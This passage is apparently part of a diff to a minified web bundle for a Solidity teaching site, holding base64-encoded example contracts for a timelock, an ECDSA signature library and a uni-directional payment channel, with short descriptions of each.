dCBFeGVjdXRlKHR4SWQsIF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKCiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoYnl0ZXMzMiBfdHhJZCkgZXh0ZXJuYWwgb25seU93bmVyIHsKICAgICAgICBpZiAoIXF1ZXVlZFtfdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKF90eElkKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFtfdHhJZF0gPSBmYWxzZTsKCiAgICAgICAgZW1pdCBDYW5jZWwoX3R4SWQpOwogICAgfQp9Cg=="}],cu=`

              TimeLock is a contract that publishes a transaction to be executed in the future. After a mimimum waiting period, the transaction can be executed.

              TimeLocks are commonly used in DAOs.

              // SPDX-License-Identifier: MIT
@@ -2634,7 +2634,7 @@ After a mimimum waiting period, the transaction can be executed.
              
         emit Cancel(_txId);
     }
 }
-
              `,tA=({prev:s,next:a})=>r.jsx(u,{version:nA,title:lA,description:pA,html:cA,prev:s,next:a,codes:eA}),oA="0.8.24",rA="Uni-Directional Payment Channel",iA="An example of uni-directional payment channels in Solidity",gA=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgUmVlbnRyYW5jeUd1YXJkIHsKICAgIGJvb2wgcHJpdmF0ZSBsb2NrZWQ7CgogICAgbW9kaWZpZXIgZ3VhcmQoKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9Cn0KCmNvbnRyYWN0IFVuaURpcmVjdGlvbmFsUGF5bWVudENoYW5uZWwgaXMgUmVlbnRyYW5jeUd1YXJkIHsKICAgIHVzaW5nIEVDRFNBIGZvciBieXRlczMyOwoKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgc2VuZGVyOwogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyByZWNlaXZlcjsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3ICogMjQgKiA2MCAqIDYwOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgcGF5YWJsZSBfcmVjZWl2ZXIpIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoX3JlY2VpdmVyICE9IGFkZHJlc3MoMCksICJyZWNlaXZlciA9IHplcm8gYWRkcmVzcyIpOwogICAgICAgIHNlbmRlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgcmVjZWl2ZXIgPSBfcmVjZWl2ZXI7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEhhc2godWludDI1NiBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdCBhZ2FpbnMKICAgICAgICAvLyByZXBsYXkgYXR0YWNrIG9uIG90aGVyIGNvbnRyYWN0cwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0SGFzaCh1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KS50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX3ZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCkucmVjb3Zlcihfc2lnKSA9PSBzZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KHVpbnQyNTYgX2Ftb3VudCwgYnl0ZXMgbWVtb3J5IF9zaWcpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX3ZlcmlmeShfYW1vdW50LCBfc2lnKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbG9zZSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKSBleHRlcm5hbCBndWFyZCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHJlY2VpdmVyLCAiIXJlY2VpdmVyIik7CiAgICAgICAgcmVxdWlyZShfdmVyaWZ5KF9hbW91bnQsIF9zaWcpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcmVjZWl2ZXIuY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZW5kZXIsICIhc2VuZGVyIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiIWV4cGlyZWQiKTsKICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VuZGVyKTsKICAgIH0KfQo="}],hA=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              +`,tu=({prev:s,next:a})=>r.jsx(A,{version:nu,title:lu,description:pu,html:cu,prev:s,next:a,codes:eu}),ou="0.8.24",ru="Uni-Directional Payment Channel",iu="An example of uni-directional payment channels in Solidity",gu=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bG